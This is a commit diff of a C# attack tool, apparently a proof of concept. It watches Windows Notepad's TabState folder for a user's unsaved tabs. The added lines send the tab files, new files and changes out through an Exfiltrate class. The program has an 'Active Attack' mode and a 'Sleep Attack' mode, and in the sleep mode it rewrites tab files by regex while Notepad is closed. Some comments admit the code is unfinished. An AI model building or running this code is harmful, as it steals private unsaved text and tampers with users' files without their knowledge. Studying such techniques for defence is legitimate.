|
15 | 15 | bool isNotepadRunning = false; |
16 | 16 | //LOL Error checking? |
17 | 17 | int idleWaitTime = Int32.Parse(ConfigurationManager.AppSettings["idleWaitTime"]); // idle wait time before attack |
18 | | -int pollingInterval = Int32.Parse(ConfigurationManager.AppSettings["pollingInterval"]); // polling interval |
| 18 | +int pollingInterval = Int32.Parse(ConfigurationManager.AppSettings["pollingInterval"]); // polling interval. Should we have a different rate for checking Notepad running? |
19 | 19 | string directoryToMonitor = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState"); |
20 | 20 |
|
21 | | -//TODO: Make this a list or something of attack target parameters |
| 21 | +//TODO: Future: Make this a list or something of attack target parameters |
22 | 22 | //LOL Error checking? |
23 | | -int attackVersion = Int32.Parse(ConfigurationManager.AppSettings["attackVersion"]); //0 attack when Notepad is open, 1 attacks when Notepad is closed |
| 23 | +int attackVersion = Int32.Parse(ConfigurationManager.AppSettings["attackVersion"]); //0 Active Attack, 1 Sleep Attack |
24 | 24 | string attackFileName = ConfigurationManager.AppSettings["attackFileName"]; |
25 | 25 | string attackRegex = ConfigurationManager.AppSettings["attackRegex"]; |
26 | 26 | string attackReplace = ConfigurationManager.AppSettings["attackReplace"]; |
27 | 27 | bool attackDone = false; |
28 | 28 |
|
29 | 29 |
|
| 30 | +// Get the current state of the directory (file names and their hashes) |
| 31 | +var currentFileState = new Dictionary<string, string>(); |
| 32 | +foreach (var file in Directory.GetFiles(directoryToMonitor)) |
| 33 | +{ |
| 34 | + var fileName = Path.GetFileName(file); |
| 35 | + var fileByteLength = GetFileByteLength(file); |
| 36 | + currentFileState[fileName] = fileByteLength; |
| 37 | +} |
| 38 | +//TODO: Future: Ship out files |
| 39 | +Exfiltrate.SendFiles(directoryToMonitor, currentFileState.Keys.ToList()); //This is not right. I need the full path |
| 40 | + |
30 | 41 | if (attackVersion == 0) |
31 | 42 | { |
32 | 43 | // Dictionary to store file information: file name -> file length to detect changes |
33 | | - var previousFileState = new Dictionary<string, string>(); |
| 44 | + var previousFileState = currentFileState; |
34 | 45 |
|
35 | 46 | Thread monitorThread = new Thread(MonitorNotepad); |
36 | 47 | monitorThread.IsBackground = true; // Set as background thread so it terminates when the app closes |
|
42 | 53 | // Start a loop to check the directory every few seconds |
43 | 54 | while (true) |
44 | 55 | { |
45 | | - // Wait for the next polling interval |
46 | | - Thread.Sleep(pollingInterval); |
47 | | - |
48 | 56 | Console.WriteLine(InputTimer.GetInputIdleTime().TotalSeconds.ToString()); |
49 | 57 |
|
50 | | - // Get the current state of the directory (file names and their hashes) |
51 | | - var currentFileState = new Dictionary<string, string>(); |
52 | | - foreach (var file in Directory.GetFiles(directoryToMonitor)) |
53 | | - { |
54 | | - var fileName = Path.GetFileName(file); |
55 | | - var fileByteLength = GetFileByteLength(file); |
56 | | - currentFileState[fileName] = fileByteLength; |
57 | | - } |
58 | | - |
59 | 58 | // Check for newly added files |
60 | 59 | var addedFiles = currentFileState.Keys.Except(previousFileState.Keys); |
61 | 60 | foreach (var addedFile in addedFiles) |
62 | 61 | { |
63 | 62 | Console.WriteLine($"File created: {addedFile}"); |
64 | 63 | Console.WriteLine(isNotepadRunning.ToString()); |
65 | | - //TODO: Future |
| 64 | + //TODO: Future: Ship out new files |
| 65 | + Exfiltrate.SendFile(Path.Combine(directoryToMonitor, addedFile)); |
66 | 66 | } |
67 | 67 |
|
68 | 68 | // Check for deleted files |
|
71 | 71 | { |
72 | 72 | Console.WriteLine($"File deleted: {deletedFile}"); |
73 | 73 | Console.WriteLine(isNotepadRunning.ToString()); |
74 | | - //TODO: Future |
| 74 | + //TODO: Future: Alert on deleted file |
| 75 | + Exfiltrate.DeletedFile(Path.Combine(directoryToMonitor, deletedFile)); |
75 | 76 | } |
76 | 77 |
|
77 | 78 | // Check for modified files (files that exist in both, but with different lengths) |
|
82 | 83 | { |
83 | 84 | Console.WriteLine($"File modified: {modifiedFile}"); |
84 | 85 | Console.WriteLine(isNotepadRunning.ToString()); |
85 | | - //TODO: Future |
| 86 | + //TODO: Future: ship out changes |
| 87 | + Exfiltrate.SendChanges(Path.Combine(directoryToMonitor, modifiedFile)); //TODO: This should really just exfiltrate the unsavedbufferchunks |
86 | 88 | } |
87 | 89 |
|
88 | 90 | // Update the previous file state for the next iteration |
|
99 | 101 | } |
100 | 102 | OpenNotepad(); |
101 | 103 | } |
| 104 | + |
102 | 105 | // Check for user input to exit |
103 | | - if (Console.KeyAvailable && Console.ReadKey(intercept: true).Key == ConsoleKey.Q) |
| 106 | + if ((Console.KeyAvailable && Console.ReadKey(intercept: true).Key == ConsoleKey.Q) || attackDone) |
104 | 107 | { |
105 | 108 | break; |
106 | 109 | } |
| 110 | + |
| 111 | + // Wait for the next polling interval |
| 112 | + Thread.Sleep(pollingInterval); |
| 113 | + |
| 114 | + //Refresh list of current files |
| 115 | + currentFileState = new Dictionary<string, string>(); |
| 116 | + foreach (var file in Directory.GetFiles(directoryToMonitor)) |
| 117 | + { |
| 118 | + var fileName = Path.GetFileName(file); |
| 119 | + var fileByteLength = GetFileByteLength(file); |
| 120 | + currentFileState[fileName] = fileByteLength; |
| 121 | + } |
107 | 122 | } |
108 | 123 | } |
109 | 124 | else |
110 | 125 | { |
111 | 126 | while (true) |
112 | 127 | { |
113 | | - Thread.Sleep(pollingInterval); |
114 | | - |
115 | 128 | if (Process.GetProcessesByName("notepad").Count() == 0) |
116 | 129 | { |
117 | | - var currentFileState = new Dictionary<string, string>(); |
| 130 | + currentFileState = new Dictionary<string, string>(); |
118 | 131 | foreach (var file in Directory.GetFiles(directoryToMonitor)) |
119 | 132 | { |
120 | 133 | var fileName = Path.GetFileName(file); |
|
133 | 146 | { |
134 | 147 | break; |
135 | 148 | } |
| 149 | + |
| 150 | + Thread.Sleep(pollingInterval); |
136 | 151 | } |
137 | 152 | } |
138 | 153 |
|
@@ -234,5 +249,3 @@ void Attack(string path, string fileName, string replace, string regexFind) |
234 | 249 | attackDone = true; |
235 | 250 | } |
236 | 251 | } |
237 | | - |
238 | | - |
|
0 commit comments